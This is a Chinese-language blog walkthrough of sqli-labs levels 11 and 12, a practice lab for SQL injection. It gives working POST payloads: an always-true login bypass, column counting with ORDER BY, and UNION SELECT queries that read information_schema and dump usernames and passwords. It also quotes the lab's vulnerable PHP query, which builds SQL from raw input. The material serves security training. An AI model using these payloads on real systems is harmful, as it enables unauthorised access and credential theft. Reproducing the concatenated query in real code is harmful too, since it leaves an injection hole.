sqli-labs:Less 11 12
sqli-labs:Less 11 12
Less 11 和 12 网页都提供了一个登陆界面,注入的基本思想和步骤与 Less 1 ~ 4 相同,这里需要使用 POST 方法提交参数。
Less 11
基于错误的POST型单引号字符型注入
判断注入类型
首先尝试下这个网页的正常用法,输入一个正确的用户名和密码试试,网页显示登陆成功。
接下来直接在 “Username” 中直接注入单引号,网页返回报错信息,说明存在 Sql 注入。
注入万能密码试试,用户名随便写点东西,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示我们注入成功,由于此处使用的是单引号闭合,因此这里是字符型注入。
a' or 1 = 1# |
使用hackbar加载,看到网页是通过 POST 方法提交参数,提交的参数如下。
uname=&passwd=&submit=Submit |
获取数据库信息
判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。输入2时对返回的结果排序,网页返回正常,输入3时报错,说明一共有 2 列。
uname=a' or 1 = 1 order by 2#&passwd=&submit=Submit |
爆数据库名,首先注入错误的用户名和密码,使其找不到数据。使用 UNION 进行联合查询,查询成功把数据库名接到网页回显的地方。
uname=a&passwd=a' union select database(),1#&submit=Submit |
爆表名,使用联合查询在 “information_schema.tables” 中查询表名,表名来自 “security” 数据库。
passwd=1&submit=Submit&uname=a' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'# |
爆字段名,使用联合查询在 “information_schema.columns” 中查询表名,字段名来自 “security” 数据库的 “users” 表。
passwd=1&submit=Submit&uname=a' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'# |
获取目标信息
接下来爆出 users 表中的用户名和密码,构造出 payload 如下。
passwd=1&submit=Submit&uname=a' union select 1,group_concat(concat_ws(':',username,password)) from security.users# |
关卡SQL查询语句
@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; |
Less 12
基于错误的双引号 POST 型字符型变形的注入
判断注入类型
通过常规测试,可知网页存在字符型注入漏洞,并且使用双引号和括号进行闭合。
a") or 1 = 1# |
获取数据库信息
Less 12 仅对字符的闭合方式不同于 Less 11,注入的方式完全相同。
获取目标信息
同Less11
关卡SQL查询语句
$uname = '"'.$uname.'"'; |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Ajieの小屋!
评论